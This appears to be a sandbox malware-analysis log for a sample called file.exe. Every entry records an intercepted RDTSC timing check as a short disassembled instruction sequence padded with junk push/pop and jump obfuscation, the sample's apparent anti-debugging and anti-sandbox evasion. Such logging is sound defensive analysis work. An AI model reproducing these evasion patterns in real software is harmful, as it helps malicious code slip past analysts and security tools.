Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C296F second address: 17C2977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C2977 second address: 17C29A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 7BD6FE22h 0x0000000e mov dx, bx 0x00000011 call 00007F3650C99D99h 0x00000016 jmp 00007F3650C99D9Bh 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C29A2 second address: 17C29DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3650BE6D80h 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F3650BE6D7Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C29DB second address: 17C29DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C2AC8 second address: 17C2ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C2ACD second address: 17C2AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C2AD3 second address: 17C2AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C2C6C second address: 17C2C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F3650C99D96h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C2C82 second address: 17C2C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C2C86 second address: 17C2CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007F3650C99DA4h 0x00000011 js 00007F3650C99D9Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C371A second address: 17C3780 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3650BE6D7Fh 0x0000000e nop 0x0000000f xor dl, FFFFFFB5h 0x00000012 call 00007F3650BE6D86h 0x00000017 and di, 2771h 0x0000001c pop ecx 0x0000001d lea eax, dword ptr [ebp+12479059h] 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F3650BE6D78h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d nop 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 pushad 0x00000044 popad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C3780 second address: 17C3805 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3650C99DA8h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007F3650C99DB0h 0x00000012 push eax 0x00000013 jmp 00007F3650C99DA8h 0x00000018 pop eax 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F3650C99D98h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov edx, dword ptr [ebp+122D18C0h] 0x0000003a pushad 0x0000003b jl 00007F3650C99D99h 0x00000041 movsx esi, dx 0x00000044 mov ebx, 317E8EE6h 0x00000049 popad 0x0000004a lea eax, dword ptr [ebp+12479015h] 0x00000050 mov edi, dword ptr [ebp+122D306Eh] 0x00000056 nop 0x00000057 push ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C3805 second address: 17C3809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FBFF4 second address: 17FBFF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FBFF8 second address: 17FBFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FBFFE second address: 17FC018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3650C99DA4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC179 second address: 17FC17E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC703 second address: 17FC731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3650C99D96h 0x0000000a popad 0x0000000b jmp 00007F3650C99DA9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jc 00007F3650C99D96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC731 second address: 17FC75A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3650BE6D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007F3650BE6D76h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 jo 00007F3650BE6D78h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 push edx 0x00000021 jno 00007F3650BE6D76h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC75A second address: 17FC763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC763 second address: 17FC767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC8D6 second address: 17FC8FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3650C99D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3650C99DA4h 0x00000011 je 00007F3650C99D96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC8FC second address: 17FC906 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3650BE6D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FC906 second address: 17FC910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17FFD29 second address: 17FFD4E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3650BE6D82h 0x00000008 jg 00007F3650BE6D76h 0x0000000e je 00007F3650BE6D76h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3650BE6D7Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1805930 second address: 1805936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1804658 second address: 180466A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650BE6D7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180466A second address: 18046A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F3650C99D9Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F3650C99DB0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18046A0 second address: 18046BC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3650BE6D87h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1804CC1 second address: 1804CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1804CC7 second address: 1804CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1805000 second address: 1805004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180513E second address: 1805143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1805143 second address: 1805164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3650C99DA4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1805311 second address: 1805322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F3650BE6D76h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1805322 second address: 1805369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650C99DA1h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F3650C99DA9h 0x00000014 jmp 00007F3650C99DA2h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180B624 second address: 180B644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F3650BE6D8Bh 0x0000000b jmp 00007F3650BE6D85h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180A0AF second address: 180A0B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180A0B3 second address: 180A0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180ABE0 second address: 180ABE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180ABE6 second address: 180ABEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180ABEC second address: 180AC10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3650C99DA6h 0x0000000d jns 00007F3650C99D96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180B4EE second address: 180B4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180B4F2 second address: 180B4F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 180B4F8 second address: 180B4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181234A second address: 1812352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18169D4 second address: 18169F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3650BE6D76h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007F3650BE6D7Eh 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18163BB second address: 18163EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jng 00007F3650C99D96h 0x0000000d jmp 00007F3650C99DA4h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007F3650C99D96h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18163EB second address: 18163F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F3650BE6D76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18163F9 second address: 1816427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA7h 0x00000007 jmp 00007F3650C99DA3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1816688 second address: 181668C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181668C second address: 181669E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3650C99D9Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181669E second address: 18166DA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3650BE6D7Eh 0x00000008 jne 00007F3650BE6D7Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 push edi 0x00000014 pop edi 0x00000015 jp 00007F3650BE6D76h 0x0000001b pop edi 0x0000001c jo 00007F3650BE6D80h 0x00000022 jmp 00007F3650BE6D7Ah 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18166DA second address: 181670A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3650C99D9Eh 0x00000008 jmp 00007F3650C99D9Ah 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F3650C99D9Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181D37C second address: 181D392 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3650BE6D7Ch 0x00000008 jnc 00007F3650BE6D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181D392 second address: 181D39E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181D39E second address: 181D3A3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181C264 second address: 181C277 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3650C99D96h 0x00000008 jne 00007F3650C99D96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181C60E second address: 181C612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181C755 second address: 181C767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 181D06A second address: 181D082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650BE6D83h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821400 second address: 1821420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F3650C99D96h 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jo 00007F3650C99DAAh 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821420 second address: 1821426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821426 second address: 182142A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18216F4 second address: 18216F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821B16 second address: 1821B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821B1C second address: 1821B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821B26 second address: 1821B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821B2C second address: 1821B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821C72 second address: 1821C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jl 00007F3650C99D96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1821C7E second address: 1821C8B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3650BE6D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1824B03 second address: 1824B13 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3650C99DA2h 0x00000008 jg 00007F3650C99D96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182B411 second address: 182B43B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F3650BE6D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F3650BE6D89h 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182B5C3 second address: 182B5E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Fh 0x00000007 jnc 00007F3650C99D96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182B5E0 second address: 182B5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650BE6D81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182B5F5 second address: 182B604 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3650C99D96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182B9EE second address: 182B9FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F3650BE6D76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182BF78 second address: 182BF7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C226 second address: 182C235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jno 00007F3650BE6D76h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C235 second address: 182C255 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F3650C99D96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C55A second address: 182C55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C55E second address: 182C57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3650C99DA4h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C57C second address: 182C586 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3650BE6D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C805 second address: 182C81E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007F3650C99D9Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C81E second address: 182C823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182C823 second address: 182C82D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3650C99D96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182D090 second address: 182D094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 182D094 second address: 182D0B9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3650C99D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F3650C99DAFh 0x00000010 jmp 00007F3650C99DA3h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1830895 second address: 183089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183089B second address: 18308A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18308A1 second address: 18308AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18308AB second address: 18308B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
